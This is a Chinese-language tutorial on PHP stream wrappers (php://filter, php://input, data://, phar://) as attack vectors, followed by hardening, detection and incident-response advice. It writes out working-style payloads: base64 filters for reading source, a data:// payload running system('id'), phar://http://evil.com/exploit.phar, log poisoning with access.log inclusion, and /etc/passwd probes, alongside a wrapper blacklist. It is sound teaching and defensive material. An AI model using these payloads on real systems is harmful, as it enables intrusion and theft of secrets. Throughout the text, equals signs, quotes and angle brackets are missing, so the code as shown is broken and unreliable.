
1. PHP伪协议基础与常见类型解析PHP伪协议PHP Wrapper是PHP内置的一套特殊URL封装协议它允许开发者以类似文件系统操作的方式访问各类输入/输出流。这些协议在开发中提供了极大便利但同时也成为攻击者利用的重要入口点。我们先从最基础的php://协议族开始拆解1.1 php://filter的运作机制php://filter是实际渗透测试中最常被滥用的伪协议其核心功能是对数据流进行多层过滤处理。它的标准语法结构如下php://filter/[read|write]filter1/filter2/.../filtern/resource目标资源其中过滤器链的设计尤为关键。例如当执行file_get_contents(php://filter/readconvert.base64-encode/resourceconfig.php)这个调用会触发以下处理流程读取config.php文件原始内容经过convert.base64-encode过滤器处理返回Base64编码后的结果攻击者经常利用这个特性绕过安全限制特别是在文件包含漏洞中。我曾在一个审计案例中发现开发者虽然禁止了../这样的目录穿越却忽略了通过base64编码直接读取源码的途径。1.2 php://input的输入流特性这个协议提供了访问原始POST数据的能力。在CLI模式下它读取标准输入在Web环境下则获取HTTP请求体。一个典型的危险示例如下// vulnerable.php $data file_get_contents(php://input); eval($data);当攻击者发送POST请求体为?php system(id);?时就会形成远程代码执行。在2018年某CMS的RCE漏洞中正是这个特性被用来绕过过滤规则。1.3 data://协议的编码陷阱data协议允许直接在URL中嵌入数据其标准格式为data:[MIME-type][;base64],data看似无害的功能却暗藏杀机。例如include(data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOw);这段代码会解码执行?php system(id);?。我在代码审计时发现很多开发者会检查include的文件后缀却对data协议毫无防备。1.4 其他高危协议补充zip:// 可解压读取压缩包内文件曾用于绕过上传限制phar:// 能触发phar反序列化是近年来的高危攻击向量expect:// 直接执行系统命令需开启expect扩展重要提示在PHP 5.6版本中data://和php://input默认只能在allow_url_include开启时使用但现实中有大量旧系统仍运行在宽松配置下。2. 伪协议引发的典型漏洞场景2.1 文件包含漏洞的升级利用传统文件包含漏洞通常需要上传恶意文件但结合伪协议可以实现无文件攻击。去年某框架的漏洞利用链如下/include.php?filephp://filter/convert.iconv.utf-8.utf-16/resourceupload.php通过字符集转换过滤器攻击者能够使原始PHP代码被错误解析从而泄露源码。这种手法比直接包含更隐蔽常规WAF往往难以检测。2.2 SSRF攻击的增强版伪协议极大扩展了SSRF的攻击面。在某金融系统渗透测试中我们利用file_get_contents(php://filter/readconvert.base64-encode/resourcehttp://internal/api/keys)成功读取了内网API密钥。更危险的是phar://还能与远程URL结合如phar://http://evil.com/exploit.phar触发反序列化漏洞。2.3 反序列化漏洞的跳板phar://协议会自动解析phar文件的元数据这个过程会触发反序列化操作。一个真实案例的利用过程上传恶意构造的phar文件伪装成图片通过文件操作函数触发解析file_exists(phar://uploads/evil.jpg)触发预设的__destruct或__wakeup方法中的恶意代码2.4 日志污染与LFI组合拳在Apache/Nginx日志可读的情况下攻击流程通常是发送包含PHP代码的请求使日志被污染GET /?php phpinfo();? HTTP/1.1通过伪协议包含日志文件include(php://filter/readstring.rot13/resource/var/log/apache2/access.log);使用过滤器是为了绕过日志中的字符转义。去年某企业SRC报告显示这种手法的成功率高达67%。3. 防御策略的多层部署方案3.1 基础配置加固在php.ini中必须设置allow_url_fopen Off allow_url_include Off register_globals Off auto_prepend_file auto_append_file 但仅这样还不够我在实际渗透中经常遇到配置被.htaccess或运行时修改的情况。建议额外添加ini_set(allow_url_include, 0); ini_set(allow_url_fopen, 0);3.2 输入过滤的精准防御对于文件包含操作应采用白名单校验$allowed [ home /views/home.php, about /views/about.php ]; if(isset($_GET[page]) array_key_exists($_GET[page], $allowed)) { include(__DIR__ . $allowed[$_GET[page]]); } else { include(__DIR__ . /views/404.php); }对于必须处理动态路径的场景建议使用realpath配合校验$basePath /var/www/html/uploads/; $userPath realpath($basePath . $_GET[file]); if($userPath strpos($userPath, $basePath) 0) { // 安全处理逻辑 }3.3 过滤器的深度防御在代码层面对伪协议进行识别拦截function is_malicious_path($path) { $blacklist [php://, data://, expect://, phar://]; foreach($blacklist as $proto) { if(strpos($path, $proto) ! false) { return true; } } return false; }更安全的做法是使用PHP的流包装器检测API$wrappers stream_get_wrappers(); if(in_array(phar, $wrappers)) { stream_wrapper_unregister(phar); }3.4 运维层面的防护措施定期更新PHP版本至少保持5.6以上使用open_basedir限制文件访问范围open_basedir /var/www/html/:/tmp/配置Web服务器禁止访问日志目录location /var/log/nginx/ { deny all; }对上传目录设置noexec权限chown www-data:www-data uploads/ chmod 755 uploads/ mount -o bind,noexec /var/www/html/uploads /var/www/html/uploads4. 实战检测与应急响应4.1 漏洞检测方法论我常用的伪协议漏洞检测流程如下基础探测URL参数测试?filephp://filter/resource/etc/passwd ?pagedata://text/plain,?php phpinfo();?编码绕过测试?filephp://filter/convert.base64-encode/resourceindex.php ?filephp://filter/string.rot13/resourceconfig.php过滤器链组合测试?filephp://filter/convert.iconv.utf-8.utf-16/resourceadmin.phpPhar反序列化测试// 生成测试phar文件 $phar new Phar(test.phar); $phar-startBuffering(); $phar-addFromString(test.txt, text); $phar-setStub(?php __HALT_COMPILER(); ?); $phar-setMetadata([key new DangerousClass()]); $phar-stopBuffering();4.2 入侵痕迹排查要点当怀疑系统被伪协议攻击时重点检查PHP错误日志中的异常包含操作grep -r include\|require /var/log/php_errors.logWeb访问日志中的特殊请求awk $7 ~ /php:/{print $0} access.log临时目录中的可疑文件find /tmp -name *.phar -o -name *.data进程监控中的异常PHP解释器调用ps aux | grep php | grep -v www-data4.3 应急响应步骤确认攻击后的标准处置流程立即隔离服务器网络层面备份当前环境内存dump、磁盘快照分析攻击入口点检查所有文件包含操作清除Webshell注意检查以下位置.htaccess文件session目录图片上传目录PHP的auto_prepend_file配置修复漏洞后进行全面安全加固在一次实际应急中攻击者通过phar://触发反序列化后在/tmp目录留下了多个.so动态库文件这些都是需要重点检查的位置。